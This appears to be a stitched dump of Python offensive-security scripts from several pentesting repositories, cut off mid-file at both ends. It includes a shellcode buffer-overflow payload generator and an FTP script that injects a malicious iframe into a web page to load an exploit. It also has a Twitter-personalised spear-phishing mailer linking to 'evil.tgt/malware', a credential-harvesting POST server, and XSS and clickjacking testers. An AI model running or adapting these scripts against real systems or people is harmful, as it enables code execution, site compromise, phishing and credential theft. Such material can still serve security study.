sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
| 29.118421 | 107 | 0.560752 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
# Payload generator
## Total payload length
payload_length = 424
## Amount of nops
nop_length = 100
## Controlled memory address to return to in Little Endian format
#0x7fffffffddc0
#0x7fffffffe120
#current 0x7fffffffdf80: 0xffffdfa0
#0x7fffffffdde0
#return_address = '\x20\xe1\xff\xff\xff\x7f\x00\x00'
#IT must be noted that return address is $rsp
#00007fffffffde30
return_address = '\xe0\xdd\xff\xff\xff\x7f\x00\x00'
## Building the nop slide
nop_slide = "\x90" * nop_length
## Malicious code injection
buf = ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xfa\x6e\x99\x49\xdc\x75\xa8"
buf += "\x43\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x90\x47\xc1\xd0\xb6\x77\xf7\x29\xfb\x30\x96\x4c\x94"
buf += "\xe2\xe0\xfa\xf8\x6e\x88\x15\xa3\x75\xa8\x42\xab\x26"
buf += "\x10\xaf\xb6\x65\xf2\x29\xd0\x36\x96\x4c\xb6\x76\xf6"
buf += "\x0b\x05\xa0\xf3\x68\x84\x7a\xad\x36\x0c\x04\xa2\x11"
buf += "\x45\x3d\x13\x6c\x98\x07\xf7\x66\xaf\x1d\xa8\x10\xb2"
buf += "\xe7\x7e\x1b\x8b\x3d\x21\xa5\xf5\x6b\x99\x49\xdc\x75"
buf += "\xa8\x43"
## Building the padding between buffer overflow start and return address
padding = 'B' * (payload_length - nop_length - len(buf))
#perfect
print nop_slide + buf + padding + return_address
| 31.65 | 72 | 0.710345 |
Effective-Python-Penetration-Testing | from metasploit.msfrpc import MsfRpcClient
from metasploit.msfconsole import MsfRpcConsole
client = MsfRpcClient('123456', user='msf')
print dir(console)
auxilary = client.modules.auxiliary
for i in auxilary:
print "\t%s" % i
scan = client.modules.use('auxiliary', 'scanner/ssh/ssh_version')
scan.description
scan.required
scan['VERBOSE'] = True
scan['RHOSTS'] = '192.168.1.119'
print scan.execute()
console = MsfRpcConsole(client)
console.execute('use scanner/ssh/ssh_version')
console.execute('set RHOSTS 192.168.1.119')
console.execute('set VERBOSE True')
console.execute('run')
| 18.833333 | 65 | 0.752525 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalWebServices")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 27.545455 | 75 | 0.779553 |
Penetration-Testing-Study-Notes | #!/usr/bin/python
import sys
import os
import subprocess
if len(sys.argv) != 3:
print "Usage: dirbust.py <target url> <scan name>"
sys.exit(0)
url = str(sys.argv[1])
name = str(sys.argv[2])
folders = ["/usr/share/dirb/wordlists", "/usr/share/dirb/wordlists/vulns"]
found = []
print "INFO: Starting dirb scan for " + url
for folder in folders:
for filename in os.listdir(folder):
outfile = " -o " + "results/exam/" + name + "_dirb_" + filename
DIRBSCAN = "dirb %s %s/%s %s -S -r" % (url, folder, filename, outfile)
try:
results = subprocess.check_output(DIRBSCAN, shell=True)
resultarr = results.split("\n")
for line in resultarr:
if "+" in line:
if line not in found:
found.append(line)
except:
pass
try:
if found[0] != "":
print "[*] Dirb found the following items..."
for item in found:
print " " + item
except:
print "INFO: No items found during dirb scan of " + url
| 24.25641 | 74 | 0.601626 |
owtf | from owtf.config import config_handler
from owtf.plugin.helper import plugin_helper
from owtf.plugin.params import plugin_params
DESCRIPTION = "Launches all Exploits for a category(ies) -i.e. for IDS testing-"
CATEGORIES = ["LINUX", "WINDOWS", "OSX"]
SUBCATEGORIES = [
"DCERPC",
"FTP",
"HTTP",
"IIS",
"IMAP",
"ISAPI",
"LDAP",
"LPD",
"MDNS",
"MISC",
"MMSP",
"MSSQL",
"MYSQL",
"NOVELL",
"NFS",
"NNTP",
"NTP",
"ORACLE",
"PHP",
"POP3",
"POSTGRES",
"PPTP",
"PROXY",
"REALSERVER",
"RPC",
"RTSP",
"SAMBA",
"SCADA",
"SIP",
"SMB",
"SMTP",
"SOFTCART",
"SSH",
"SSL",
"SUNRPC",
"SVN",
"TACACS",
"TELNET",
"TFTP",
"UNICENTER",
"VNC",
"VPN",
"WEBAPP",
"WINS",
"WYSE",
]
def run(PluginInfo):
Content = []
args = {
"Description": DESCRIPTION,
"Mandatory": {
"RHOST": config_handler.get_val("RHOST_DESCRIP"),
"RPORT": config_handler.get_val("RPORT_DESCRIP"),
"CATEGORY": "Category to use (i.e. " + ", ".join(sorted(CATEGORIES)) + ")",
"SUBCATEGORY": "Subcategory to use (i.e. "
+ ", ".join(sorted(SUBCATEGORIES))
+ ")",
},
"Optional": {"REPEAT_DELIM": config_handler.get_val("REPEAT_DELIM_DESCRIP")},
}
for args in plugin_params.get_args(args, PluginInfo):
plugin_params.set_config(args)
resource = config_handler.get_resources(
"LaunchExploit_" + args["CATEGORY"] + "_" + args["SUBCATEGORY"]
)
Content += plugin_helper.CommandDump(
"Test Command", "Output", resource, PluginInfo, ""
)
return Content
| 21.227848 | 87 | 0.519088 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
cybersecurity-penetration-testing | import requests
from ghost import Ghost
import logging
import os
url = 'http://www.realvnc.com'
req = requests.get(url)
def clickjack(url):
html = '''
<html>
<body>
<iframe src="'''+url+'''"></iframe>
</body>
</html>'''
html_file = 'clickjack.html'
log_file = 'test.log'
f = open(html_file, 'w+')
f.write(html)
f.close()
logging.basicConfig(filename=log_file)
logger = logging.getLogger('ghost')
logger.propagate = False
ghost = Ghost(log_level=logging.INFO)
page, resources = ghost.open(html_file)
ghost.exit()
l = open(log_file, 'r')
if 'forbidden by X-Frame-Options.' in l.read():
print 'Clickjacking mitigated'
else:
print 'Clickjacking successful'
print os.getcwd()
l.close()
try:
xframe = req.headers['x-frame-options']
print 'X-FRAME-OPTIONS:', xframe , 'present, clickjacking not likely possible'
except:
print 'X-FRAME-OPTIONS missing'
print 'attempting clickjacking...'
clickjack(url)
try:
xssprotect = req.headers['X-XSS-Protection']
if 1 not in 'xssprotect':
print 'X-XSS-Protection not set properly, XSS may be possible'
except:
print 'X-XSS-Protection not set, XSS may be possible'
try:
hsts = req.headers['Strict-Transport-Security']
except:
print 'HSTS header not set, MITM should be possible via HTTP' | 20.3 | 79 | 0.694597 |
PenetrationTestingScripts | """Utility functions and date/time routines.
Copyright 2002-2006 John J Lee <jjl@pobox.com>
This code is free software; you can redistribute it and/or modify it
under the terms of the BSD or ZPL 2.1 licenses (see the file
COPYING.txt included with the distribution).
"""
import re
import time
import warnings
class ExperimentalWarning(UserWarning):
pass
def experimental(message):
warnings.warn(message, ExperimentalWarning, stacklevel=3)
def hide_experimental_warnings():
warnings.filterwarnings("ignore", category=ExperimentalWarning)
def reset_experimental_warnings():
warnings.filterwarnings("default", category=ExperimentalWarning)
def deprecation(message):
warnings.warn(message, DeprecationWarning, stacklevel=3)
def hide_deprecations():
warnings.filterwarnings("ignore", category=DeprecationWarning)
def reset_deprecations():
warnings.filterwarnings("default", category=DeprecationWarning)
def write_file(filename, data):
f = open(filename, "wb")
try:
f.write(data)
finally:
f.close()
def get1(sequence):
assert len(sequence) == 1
return sequence[0]
def isstringlike(x):
try: x+""
except: return False
else: return True
## def caller():
## try:
## raise SyntaxError
## except:
## import sys
## return sys.exc_traceback.tb_frame.f_back.f_back.f_code.co_name
from calendar import timegm
# Date/time conversion routines for formats used by the HTTP protocol.
EPOCH = 1970
def my_timegm(tt):
year, month, mday, hour, min, sec = tt[:6]
if ((year >= EPOCH) and (1 <= month <= 12) and (1 <= mday <= 31) and
(0 <= hour <= 24) and (0 <= min <= 59) and (0 <= sec <= 61)):
return timegm(tt)
else:
return None
days = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"]
months = ["Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
months_lower = []
for month in months: months_lower.append(month.lower())
def time2isoz(t=None):
"""Return a string representing time in seconds since epoch, t.
If the function is called without an argument, it will use the current
time.
The format of the returned string is like "YYYY-MM-DD hh:mm:ssZ",
representing Universal Time (UTC, aka GMT). An example of this format is:
1994-11-24 08:49:37Z
"""
if t is None: t = time.time()
year, mon, mday, hour, min, sec = time.gmtime(t)[:6]
return "%04d-%02d-%02d %02d:%02d:%02dZ" % (
year, mon, mday, hour, min, sec)
def time2netscape(t=None):
"""Return a string representing time in seconds since epoch, t.
If the function is called without an argument, it will use the current
time.
The format of the returned string is like this:
Wed, DD-Mon-YYYY HH:MM:SS GMT
"""
if t is None: t = time.time()
year, mon, mday, hour, min, sec, wday = time.gmtime(t)[:7]
return "%s %02d-%s-%04d %02d:%02d:%02d GMT" % (
days[wday], mday, months[mon-1], year, hour, min, sec)
UTC_ZONES = {"GMT": None, "UTC": None, "UT": None, "Z": None}
timezone_re = re.compile(r"^([-+])?(\d\d?):?(\d\d)?$")
def offset_from_tz_string(tz):
offset = None
if UTC_ZONES.has_key(tz):
offset = 0
else:
m = timezone_re.search(tz)
if m:
offset = 3600 * int(m.group(2))
if m.group(3):
offset = offset + 60 * int(m.group(3))
if m.group(1) == '-':
offset = -offset
return offset
def _str2time(day, mon, yr, hr, min, sec, tz):
# translate month name to number
# month numbers start with 1 (January)
try:
mon = months_lower.index(mon.lower())+1
except ValueError:
# maybe it's already a number
try:
imon = int(mon)
except ValueError:
return None
if 1 <= imon <= 12:
mon = imon
else:
return None
# make sure clock elements are defined
if hr is None: hr = 0
if min is None: min = 0
if sec is None: sec = 0
yr = int(yr)
day = int(day)
hr = int(hr)
min = int(min)
sec = int(sec)
if yr < 1000:
# find "obvious" year
cur_yr = time.localtime(time.time())[0]
m = cur_yr % 100
tmp = yr
yr = yr + cur_yr - m
m = m - tmp
if abs(m) > 50:
if m > 0: yr = yr + 100
else: yr = yr - 100
# convert UTC time tuple to seconds since epoch (not timezone-adjusted)
t = my_timegm((yr, mon, day, hr, min, sec, tz))
if t is not None:
# adjust time using timezone string, to get absolute time since epoch
if tz is None:
tz = "UTC"
tz = tz.upper()
offset = offset_from_tz_string(tz)
if offset is None:
return None
t = t - offset
return t
strict_re = re.compile(r"^[SMTWF][a-z][a-z], (\d\d) ([JFMASOND][a-z][a-z]) "
r"(\d\d\d\d) (\d\d):(\d\d):(\d\d) GMT$")
wkday_re = re.compile(
r"^(?:Sun|Mon|Tue|Wed|Thu|Fri|Sat)[a-z]*,?\s*", re.I)
loose_http_re = re.compile(
r"""^
(\d\d?) # day
(?:\s+|[-\/])
(\w+) # month
(?:\s+|[-\/])
(\d+) # year
(?:
(?:\s+|:) # separator before clock
(\d\d?):(\d\d) # hour:min
(?::(\d\d))? # optional seconds
)? # optional clock
\s*
([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+)? # timezone
\s*
(?:\(\w+\))? # ASCII representation of timezone in parens.
\s*$""", re.X)
def http2time(text):
"""Returns time in seconds since epoch of time represented by a string.
Return value is an integer.
None is returned if the format of str is unrecognized, the time is outside
the representable range, or the timezone string is not recognized. If the
string contains no timezone, UTC is assumed.
The timezone in the string may be numerical (like "-0800" or "+0100") or a
string timezone (like "UTC", "GMT", "BST" or "EST"). Currently, only the
timezone strings equivalent to UTC (zero offset) are known to the function.
The function loosely parses the following formats:
Wed, 09 Feb 1994 22:23:32 GMT -- HTTP format
Tuesday, 08-Feb-94 14:15:29 GMT -- old rfc850 HTTP format
Tuesday, 08-Feb-1994 14:15:29 GMT -- broken rfc850 HTTP format
09 Feb 1994 22:23:32 GMT -- HTTP format (no weekday)
08-Feb-94 14:15:29 GMT -- rfc850 format (no weekday)
08-Feb-1994 14:15:29 GMT -- broken rfc850 format (no weekday)
The parser ignores leading and trailing whitespace. The time may be
absent.
If the year is given with only 2 digits, the function will select the
century that makes the year closest to the current date.
"""
# fast exit for strictly conforming string
m = strict_re.search(text)
if m:
g = m.groups()
mon = months_lower.index(g[1].lower()) + 1
tt = (int(g[2]), mon, int(g[0]),
int(g[3]), int(g[4]), float(g[5]))
return my_timegm(tt)
# No, we need some messy parsing...
# clean up
text = text.lstrip()
text = wkday_re.sub("", text, 1) # Useless weekday
# tz is time zone specifier string
day, mon, yr, hr, min, sec, tz = [None]*7
# loose regexp parse
m = loose_http_re.search(text)
if m is not None:
day, mon, yr, hr, min, sec, tz = m.groups()
else:
return None # bad format
return _str2time(day, mon, yr, hr, min, sec, tz)
iso_re = re.compile(
"""^
(\d{4}) # year
[-\/]?
(\d\d?) # numerical month
[-\/]?
(\d\d?) # day
(?:
(?:\s+|[-:Tt]) # separator before clock
(\d\d?):?(\d\d) # hour:min
(?::?(\d\d(?:\.\d*)?))? # optional seconds (and fractional)
)? # optional clock
\s*
([-+]?\d\d?:?(:?\d\d)?
|Z|z)? # timezone (Z is "zero meridian", i.e. GMT)
\s*$""", re.X)
def iso2time(text):
"""
As for http2time, but parses the ISO 8601 formats:
1994-02-03 14:15:29 -0100 -- ISO 8601 format
1994-02-03 14:15:29 -- zone is optional
1994-02-03 -- only date
1994-02-03T14:15:29 -- Use T as separator
19940203T141529Z -- ISO 8601 compact format
19940203 -- only date
"""
# clean up
text = text.lstrip()
# tz is time zone specifier string
day, mon, yr, hr, min, sec, tz = [None]*7
# loose regexp parse
m = iso_re.search(text)
if m is not None:
# XXX there's an extra bit of the timezone I'm ignoring here: is
# this the right thing to do?
yr, mon, day, hr, min, sec, tz, _ = m.groups()
else:
return None # bad format
return _str2time(day, mon, yr, hr, min, sec, tz)
| 28.388889 | 79 | 0.561499 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
print("------ For Loop with range default start------")
for i in range(5):
print("Statement %s ,step 1 "%i)
print("------ For Loop with Range specifying start and end ------")
for i in range(5,10):
print("Statement %s ,step 1 "%i)
print("------ For Loop with Range specifying start , end and step ------")
step=2
for i in range(1,10,step):
print("Statement %s ,step : %s "%(i,step))
| 22.166667 | 75 | 0.603365 |
cybersecurity-penetration-testing | '''
Chrome on Windows 8.1
Safari on iOS
IE6 on Windows XP
Googlebot
'''
import requests
import hashlib
user_agents = { 'Chrome on Windows 8.1' : 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36',
'Safari on iOS' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4',
'IE6 on Windows XP' : 'Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)',
'Googlebot' : 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' }
responses = {}
for name, agent in user_agents.items():
headers = {'User-Agent' : agent}
req = requests.get('http://www.google.com', headers=headers)
responses[name] = req
md5s = {}
for name, response in responses.items():
md5s[name] = hashlib.md5(response.text.encode('utf-8')).hexdigest()
for name,md5 in md5s.iteritems():
if md5 != md5s['Chrome on Windows 8.1']:
print name, 'differs from baseline'
| 35.655172 | 158 | 0.665725 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import smtplib
import optparse
from email.mime.text import MIMEText
from twitterClass import *
from random import choice
def sendMail(user,pwd,to,subject,text):
msg = MIMEText(text)
msg['From'] = user
msg['To'] = to
msg['Subject'] = subject
try:
smtpServer = smtplib.SMTP('smtp.gmail.com', 587)
print "[+] Connecting To Mail Server."
smtpServer.ehlo()
print "[+] Starting Encrypted Session."
smtpServer.starttls()
smtpServer.ehlo()
print "[+] Logging Into Mail Server."
smtpServer.login(user, pwd)
print "[+] Sending Mail."
smtpServer.sendmail(user, to, msg.as_string())
smtpServer.close()
print "[+] Mail Sent Successfully."
except:
print "[-] Sending Mail Failed."
def main():
parser = optparse.OptionParser('usage %prog '+\
'-u <twitter target> -t <target email> '+\
'-l <gmail login> -p <gmail password>')
parser.add_option('-u', dest='handle', type='string',\
help='specify twitter handle')
parser.add_option('-t', dest='tgt', type='string',\
help='specify target email')
parser.add_option('-l', dest='user', type='string',\
help='specify gmail login')
parser.add_option('-p', dest='pwd', type='string',\
help='specify gmail password')
(options, args) = parser.parse_args()
handle = options.handle
tgt = options.tgt
user = options.user
pwd = options.pwd
if handle == None or tgt == None\
or user ==None or pwd==None:
print parser.usage
exit(0)
print "[+] Fetching tweets from: "+str(handle)
spamTgt = reconPerson(handle)
spamTgt.get_tweets()
print "[+] Fetching interests from: "+str(handle)
interests = spamTgt.find_interests()
print "[+] Fetching location information from: "+\
str(handle)
location = spamTgt.twitter_locate('mlb-cities.txt')
spamMsg = "Dear "+tgt+","
if (location!=None):
randLoc=choice(location)
spamMsg += " Its me from "+randLoc+"."
if (interests['users']!=None):
randUser=choice(interests['users'])
spamMsg += " "+randUser+" said to say hello."
if (interests['hashtags']!=None):
randHash=choice(interests['hashtags'])
spamMsg += " Did you see all the fuss about "+\
randHash+"?"
if (interests['links']!=None):
randLink=choice(interests['links'])
spamMsg += " I really liked your link to: "+\
randLink+"."
spamMsg += " Check out my link to http://evil.tgt/malware"
print "[+] Sending Msg: "+spamMsg
sendMail(user, pwd, tgt, 'Re: Important', spamMsg)
if __name__ == '__main__':
main()
| 24.673077 | 62 | 0.614837 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import ftplib
def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print '[+] Downloaded Page: ' + page
f.write(redirect)
f.close()
print '[+] Injected Malicious IFrame on: ' + page
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print '[+] Uploaded Injected Page: ' + page
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = '<iframe src='+\
'"http:\\\\10.10.10.112:8080\\exploit"></iframe>'
injectPage(ftp, 'index.html', redirect)
| 22.071429 | 54 | 0.613953 |
owtf | """
Robots.txt semi-passive plugin, parses robots.txt file to generate on-screen
links and save them for later spidering and analysis
"""
import logging
from owtf.requester.base import requester
from owtf.managers.target import target_manager
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Normal request for robots.txt analysis"
def run(PluginInfo):
top_url = target_manager.get_val("top_url")
url = "{}/robots.txt".format(top_url)
test_result = []
# Use transaction cache if possible for speed
http_transaction = requester.get_transaction(True, url, "GET")
if http_transaction is not None and http_transaction.found:
test_result += plugin_helper.ProcessRobots(
PluginInfo, http_transaction.get_raw_response_body, top_url, ""
)
else: # robots.txt NOT found
logging.info("robots.txt was NOT found")
test_result += plugin_helper.TransactionTableForURLList(True, [url])
return test_result
| 34.071429 | 76 | 0.714577 |
owtf | """
tests.functional.cli.test_list_plugins
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"""
from tests.owtftest import OWTFCliTestCase
class OWTFCliListPluginsTest(OWTFCliTestCase):
categories = ["cli"]
def test_cli_list_plugins_aux(self):
"""Run OWTF to list the aux plugins."""
expected = [
"Available AUXILIARY plugins",
"exploit",
"smb",
"bruteforce",
"dos",
"se",
"rce",
"selenium",
]
self.run_owtf("-l", "auxiliary")
self.assert_are_in_logs(expected, name="MainProcess")
def test_cli_list_plugins_net(self):
"""Run OWTF to list the net plugins."""
expected = ["Available NETWORK plugins", "active", "bruteforce"]
self.run_owtf("-l", "network")
self.assert_are_in_logs(expected, name="MainProcess")
def test_cli_list_plugins_web(self):
"""Run OWTF to list the web plugins."""
expected = [
"Available WEB plugins",
"external",
"active",
"passive",
"grep",
"semi_passive",
]
self.run_owtf("-l", "web")
self.assert_are_in_logs(expected, name="MainProcess")
| 24.714286 | 72 | 0.514694 |
cybersecurity-penetration-testing | import SimpleHTTPServer
import SocketServer
import urllib
class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
creds = self.rfile.read(content_length).decode('utf-8')
print creds
site = self.path[1:]
self.send_response(301)
self.send_header('Location', urllib.unquote(site))
self.end_headers()
server = SocketServer.TCPServer(('0.0.0.0', 8080), CredRequestHandler)
server.serve_forever() | 32.625 | 70 | 0.698324 |
Ethical-Hacking-Scripts | import urllib.request, sys
from optparse import OptionParser
class XSSPayloadChecker:
def __init__(self, website, payloadfile):
self.website = website
try:
self.payloadfile = open(payloadfile, "rb")
except:
print("[+] The file provided is invalid!")
sys.exit()
self.payloads = []
if "/?" not in self.website:
print("[+] Invalid Website! You need to provide a query string for the link.\n[+] Example: http://example.com/?search=")
sys.exit()
self.check_payloads()
def check_payloads(self):
for i in self.payloadfile.read().splitlines():
try:
try:
i = i.decode()
except:
i = str(i)
payload = self.website + i
req = urllib.request.Request(url=payload)
linkopen = urllib.request.urlopen(req)
try:
info = linkopen.read().decode()
except:
info = linkopen.read()
if i in info:
print(f"[!] The site is vulnerable to: {i}")
if i not in self.payloads:
self.payloads.append(i)
except:
pass
print(f"[+] Available Cross-Site-Scripting Payloads: {self.payloads}")
self.payloadfile.close()
class OptionParse:
def __init__(self):
self.logo()
self.parse_args()
def logo(self):
print("""
_____ _ ___ __ _____ _____ __ ___
/ ____| (_) | \ \ / // ____/ ____| /_ | / _ \
| (___ __ _ _ _ _ __| |\ V /| (___| (___ __ _| || | | |
\___ \ / _` | | | | |/ _` | > < \___ \ ___ \ \ \ / / || | | |
____) | (_| | |_| | | (_| |/ . \ ____) |___) | \ V /| || |_| |
|_____/ \__, |\__,_|_|\__,_/_/ \_\_____/_____/ \_/ |_(_)___/
| |
|_|
XSS-Payload Checker Script By DrSquid""")
def usage(self):
print("""
[+] Option-Parsing Help:
[+] -w, --website - Specify the Target Website(add a search query string at the end).
[+] -p, --payloadfile - Specify the File with the XSS Payloads.
[+] -i, --info - Shows this message.
[+] Usage:
[+] python3 SquidXSS.py -w <website> -p <payloadfile>
[+] python3 SquidXSS.py -i""")
def parse_args(self):
args = OptionParser()
args.add_option("-w","--website", dest="web")
args.add_option("-p","--payloadfile", dest="plfile")
args.add_option("-i","--info",dest="info",action="store_true")
opt, arg = args.parse_args()
if opt.info is not None:
self.usage()
sys.exit()
if opt.web is not None:
web = opt.web
else:
self.usage()
sys.exit()
if opt.plfile is not None:
plfile = opt.plfile
else:
self.usage()
sys.exit()
XSSPayload = XSSPayloadChecker(web, plfile)
Argparse = OptionParse()
| 37.2 | 133 | 0.421442 |
cybersecurity-penetration-testing | #!/usr/bin/python3
from http.server import BaseHTTPRequestHandler,HTTPServer
import urllib
import re
import sys
import ssl
import json
import string
import random
import socket
import pymysql
import argparse
import datetime
import threading
from Database import Database
from Logger import *
VERSION = '0.1'
#
# CONFIGURE THE BELOW VARIABLES
#
# Must point to JSON file containing configuration mentioned in `config` dictionary below.
# One can either supply that configuration file, or let the below variable empty and fill the `config`
# dictionary instead.
CONFIGURATION_FILE = 'config.json'
config = {
'debug' : '',
'listen' : '0.0.0.0',
'pingback-host': '',
'server-remote-addr': '',
'listen-on-ports' : (80, 443, 8080),
# You can generate it using Let's Encrypt wildcard certificate.
'server-ca-cert' : '',
"server-key-file": '',
'mysql-host': '',
'mysql-user': '',
'mysql-pass': '',
'mysql-database': '',
'exclude-pingbacks-from-clients' : [],
}
databaseInstance = None
def generateRandomId():
randomized = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(50))
return "xxx" + randomized + "yyy"
class PingbackServer(BaseHTTPRequestHandler):
method = ''
def __init__(self, *args, **kwargs):
self.server_version = 'nginx'
try:
BaseHTTPRequestHandler.__init__(self, *args, **kwargs)
except Exception as e:
if config['debug']:
Logger.dbg('Failure along __init__ of BaseHTTPRequestHandler: {}'.format(str(e)))
raise
#Logger.info('Previously catched pingbacks:\n--------------------------\n')
#self.presentAtStart()
def presentAtStart(self):
rows = databaseInstance.query(f'SELECT * FROM calledbacks')
if not rows:
return
for row in rows:
request = databaseInstance.query(f"SELECT * FROM requests WHERE id = {row['requestid']}")
Logger.info(row['request'])
def log_message(self, format, *args):
return
def extractUuid(self):
uuidRex = re.compile(r'(\bxxx[a-z0-9]{50}yyy\b)', re.I|re.M)
if 'xxx' in self.path and 'yyy' in self.path:
# Request path
m = uuidRex.search(self.path)
if m:
return ('URL path', m.group(1))
# Request headers
for h in self.headers:
value = self.headers[h]
if ('xxx' not in value or 'yyy' not in value):
continue
m = uuidRex.search(value)
if m:
return (f'Header: {h}', m.group(1))
return ('', '')
def presentPingbackedRequest(self, where, uuid, record):
fmt = '%Y-%m-%d %H:%M:%S'
now = datetime.datetime.utcnow().strftime(fmt)
delay = str(datetime.datetime.utcnow() - datetime.datetime.strptime(record['sent'], fmt))
req = '\r\n'.join([f'\t{x}' for x in record['request'].split('\r\n')])
req2 = '\r\n'.join([f'\t{x}' for x in PingbackServer.requestToString(self).split('\r\n')])
try:
reverse = socket.gethostbyaddr(self.client_address[0])[0]
except:
reverse = self.client_address[0]
message = f'''
-------------------------------------------------------------------------------------
Issue: Pingback {record['id']} ({self.command} {self.path} ) found in request's {where}
Where payload was put: {record['whereput']}
Contacting host: {reverse}
Tried to reach vhost: {self.headers['Host']}:{self.server.server_port}
Issue detail:
Our pingback-server was contacted by ({self.client_address[0]}:{self.client_address[1]}) after a delay of ({delay}):
Original request where this pingback was inserted:
---
{req}
Request that was sent to us in return:
---
{req2}
The payload was sent at ({record['sent']}) and received on ({now}).
-------------------------------------------------------------------------------------
'''
Logger._out(message)
return message
def savePingback(self, requestid, message):
query = 'INSERT INTO calledbacks(id, requestid, uuid, whereput) VALUES(%d, %d, "%s")' % (\
0, requestid, message)
Logger.dbg(f'Saving pingback: (requestid={str(requestid)})')
Logger.dbg(query)
databaseInstance.insert(query)
def checkUuid(self, where, uuid):
if not (uuid.startswith('xxx') and uuid.endswith('yyy')):
return
for a in uuid:
if a not in string.ascii_lowercase + string.digits:
return
out = databaseInstance.query(f'SELECT * FROM requests WHERE uuid = "{uuid}"')
if out:
message = self.presentPingbackedRequest(where, uuid, out[0])
self.savePingback(out[0]['id'], message)
def send_header(self, name, value):
if name == 'Server':
return super(PingbackServer, self).send_header(name, 'nginx')
return super(PingbackServer, self).send_header(name, value)
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
@staticmethod
def requestToString(request):
headers = '\r\n'.join(['{}: {}'.format(k, v) for k, v in request.headers.items()])
out = '{} {} {}\r\n{}'.format(request.command, request.path, request.request_version, headers)
return out
def do_GET(self):
if not (self.client_address[0] in config['exclude-pingbacks-from-clients']):
if config['debug']:
Logger.dbg('--------------------------\nIncoming HTTP request from {}: {} {}'.format(
self.client_address[0],
self.method,
self.path[:25]
))
Logger.dbg(PingbackServer.requestToString(self) + '\n')
(where, uuid) = PingbackServer.extractUuid(self)
if uuid:
self.checkUuid(where, uuid)
else:
Logger.dbg('Skipping Client ({}) as it was excluded in config file.'.format(self.client_address[0]))
self._set_response()
self.wfile.write(b'Ok')
do_POST = do_GET
do_DELETE = do_GET
do_PUT = do_GET
do_OPTIONS = do_GET
do_HEAD = do_GET
do_TRACE = do_GET
do_CONNECT = do_GET
do_PATCH = do_GET
def parseOptions(argv):
global config
print('''
:: Cracking the Lens pingback responding server
Responds to every Out-of-band request correlating them along the way
Mariusz Banach / mgeeky '16-18, <mb@binary-offensive.com>
''')
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]')
parser.add_argument('-l', '--listen', default='0.0.0.0', help = 'Specifies interface address to bind the HTTP server on / listen on. Default: 0.0.0.0 (all interfaces)')
parser.add_argument('-p', '--port', metavar='PORT', default='80', type=int, help='Specifies the port to listen on. Default: 80')
parser.add_argument('-r', '--rhost', metavar='HOST', default=config['server-remote-addr'], help='Specifies attackers host address where the victim\'s XML parser should refer while fetching external entities')
parser.add_argument('--mysql-host', metavar='MYSQLHOST', default='127.0.0.1', type=str, help='Specifies the MySQL hostname. Defalut: 127.0.0.1:3306')
parser.add_argument('--mysql-user', metavar='MYSQLUSER', default='root', type=str, help='Specifies the MySQL user, that will be able to create database, tables, select/insert records and so on. Default: root')
parser.add_argument('--mysql-pass', metavar='MYSQLPASS', type=str, help='Specifies the MySQL password')
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
args = parser.parse_args()
config['debug'] = args.debug
config['listen'] = args.listen
config['port'] = int(args.port)
config['server-remote-addr'] = args.rhost
port = int(args.port)
if port < 1 or port > 65535:
Logger.err("Invalid port number. Must be in <1, 65535>")
sys.exit(-1)
try:
if not args.mysql_host or not args.mysql_port or not args.mysql_user or not args.mysql_pass:
Logger.warn("You shall specify all needed MySQL connection data either via program options or config file.")
#sys.exit(-1)
else:
config['mysql-host'] = args.mysql_host
config['mysql-user'] = args.mysql_user
config['mysql-pass'] = args.mysql_pass
except:
Logger.warn("You shall specify all needed MySQL connection data either via program options or config file.")
return args
def connectToDatabase():
global databaseInstance
databaseInstance = Database()
return databaseInstance.connection(config['mysql-host'], config['mysql-user'], config['mysql-pass'])
def initDatabase():
initQueries = (
f"CREATE DATABASE IF NOT EXISTS {config['mysql-database']}",
f'''CREATE TABLE IF NOT EXISTS {config['mysql-database']}.requests (
id integer AUTO_INCREMENT,
sent text NOT NULL,
uuid text NOT NULL,
desthost text NOT NULL,
pingback text NOT NULL,
whereput text NOT NULL,
request text NOT NULL,
